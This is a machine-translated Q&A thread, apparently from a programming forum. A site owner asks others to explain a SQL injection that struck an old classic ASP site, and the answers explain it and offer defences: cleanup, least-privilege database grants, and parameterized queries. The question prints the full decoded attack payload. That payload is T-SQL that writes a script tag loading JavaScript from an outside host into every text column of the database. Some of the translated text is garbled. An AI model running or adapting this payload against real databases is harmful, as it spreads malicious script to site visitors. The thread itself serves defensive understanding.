有人可以向我解释这个SQL注入攻击?
我想在这里发表,因为它是非常多的编码相关的,是我本公司的一个旧的ASP(经典)网站本周必须清理的东西。
我们遇到了几天前刚刚运行的SQL注入攻击,但是我正在摸索我的头脑究竟是什么“损害”到SQL服务器(通过这些SQL查询)。
说实话,我认为这样做是非常巧妙的,而我的公司却因为拥有一个十年前的老旧网站而产生了很大的缺陷。
攻击:
122 +声明+%的40s + VARCHAR%284000%29 + +设定40年代%%3Dcast%+ AS + VARCHAR%284000%29%29 + EXEC%28%40年代%29-
什么解码:( 我想了解的)
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
我们已经恢复了备份(预注入)并遍历整个应用程序,并清理所有input语句。 我们的服务器被防火墙,所以没有直接的SQL访问,但是我想知道还有什么可以留下,我不得不承认SQL查询是我的头。
有人可以采取一些措施,并解释我的攻击SQL?
APOLOGIES我更新了完整的转储和SQL
只是格式化它的可读性将澄清很多:
set ansi_warnings off DECLARE @T VARCHAR(255), @C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME, c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH > 30 and t.table_name = c.table_name and t.table_type = 'BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C WHILE(@@FETCH_STATUS=0) BEGIN EXEC ( 'UPDATE [' + @T + '] SET [' + @C + '] = ''"></title>'' + ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' + ''<!--'' + RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])) WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17) <> ''"></title><script'' ' ) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
它遍历每个表的每个文本列,并向其中插入一些HTML – 包含指向外部生成JavaScript的指针的HTML。
它循环遍历所有表中的所有列,并通过添加源代码位于恶意JS文件中的<script>
标记来更新它们的值。
重要的是
DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in
我猜这里省略了一些东西,声明可能以('varchar','char','text')或类似的东西结束,所以它只是试图更新包含文本的列。 他们希望其中的一个专栏能够保存文本,并将其引入到您的网站中,因此在添加了JS引用之后,它将被包含在各种页面的源代码中。
要解决这个问题,你应该做一些类似的事情 – 遍历所有包含文本的列,用空stringreplace注入的脚本。 谷歌将成为你的朋友,但这里有一个很好看的链接,应该是有帮助的,build立一个脚本来做到这一点。
考虑安装URLScan 3.1来快速保护您的应用程序免受SQL注入尝试,以及通过您的应用程序正确清理您的SQL语句。
这种types的SQL注入攻击通常也是有效的,因为你的数据库用户的权限过于宽松,比如DBO权限。 请使用数据库用户从应用程序连接到数据库,只有必要的权限才能运行应用程序。 您可以创build一个数据库用户,只用公共权限将其映射到您的数据库,而不是运行下面的脚本来为每个需要的对象应用必要的个人权限。
DECLARE @LOGIN varchar(255) DECLARE @DB varchar(255) SELECT @LOGIN = 'yourdbuser' SELECT @DB = 'yourdb' /* set default database */ EXEC sp_defaultdb @LOGIN, @DB /* drop system admin role */ EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin' /* drop database owner role */ EXEC sp_droprolemember 'db_owner', @LOGIN /* grant execute on all non system stored procedures and scalar functions */ DECLARE @SP varchar(255) DECLARE Proc_Cursor CURSOR FOR SELECT name FROM sysobjects WHERE (type='P' or type='FN') AND category <> 2 -- system OPEN Proc_Cursor FETCH NEXT FROM Proc_Cursor INTO @SP WHILE(@@FETCH_STATUS=0) BEGIN EXEC ('GRANT EXECUTE ON ['+@SP+'] TO ['+@LOGIN+']') FETCH NEXT FROM Proc_Cursor INTO @SP END CLOSE Proc_Cursor DEALLOCATE Proc_Cursor /* grant select on table functions */ DECLARE @TF varchar(255) DECLARE Tf_Cursor CURSOR FOR SELECT name FROM sysobjects WHERE (type='TF') AND category <> 2 -- system OPEN Tf_Cursor FETCH NEXT FROM Tf_Cursor INTO @TF WHILE(@@FETCH_STATUS=0) BEGIN EXEC ('GRANT SELECT ON ['+@TF+'] TO ['+@LOGIN+']') FETCH NEXT FROM Tf_Cursor INTO @SP END CLOSE Tf_Cursor DEALLOCATE Tf_Cursor /* grant select/update/insert/delete on all user defined tables */ DECLARE @T varchar(255) DECLARE Table_Cursor CURSOR FOR SELECT name FROM sysobjects WHERE (type='U' or type='V') -- user defined tables and views OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T WHILE(@@FETCH_STATUS=0) BEGIN EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['+@T+'] TO ['+@LOGIN+']') FETCH NEXT FROM Table_Cursor INTO @T END CLOSE Table_Cursor DEALLOCATE Table_Cursor /* deny access to system tables */ DENY SELECT ON syscolumns TO yourdbuser DENY SELECT ON sysobjects TO yourdbuser DENY VIEW DEFINITION TO yourdbuser DENY SELECT ON sys.databases TO yourdbuser DENY SELECT ON sys.columns TO yourdbuser DENY SELECT ON sys.objects TO yourdbuser DENY SELECT ON sys.sql_logins TO yourdbuser DENY SELECT ON sys.all_columns TO yourdbuser DENY SELECT ON sys.all_objects TO yourdbuser DENY SELECT ON sys.all_parameters TO yourdbuser DENY SELECT ON sys.all_views TO yourdbuser
显然,针对您的特定应用程序进行testing,因为您可能有需要从这些sys表中进行select的过程。
我想它试图将编码的string插入数据库中的所有文本列。 检查这个参考: http : //blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html
希望它在某种意义上有所帮助
看看如何改变你的查询;
Dim oConn, oRS, SQL 'Query open to attack SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id") Set oConn = Server.CreateObject("ADODB.Connection") Call oConn.Open(conn_string_from_inc) Set oRS = oConn.Execute(SQL) Call oConn.Close() Set oConn = Nothing
对于这样的事情;
Dim oCmd, oRS, SQL SQL = "SELECT * FROM [Table] WHERE [id] = ?" Set oCmd = Server.CreateObject("ADODB.Command") With oCmd .ActiveConnection = conn_string_from_inc .CommandType = adCmdText .CommandText = SQL Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4)) .Parameters("@id").Value = Request.QueryString("id") Set oRS = .Execute() End With Set oCmd = Nothing
这仅仅是一个粗略的例子,在不使用清理input的情况下对抗SQL注入。 我仍然会采取不同的方式。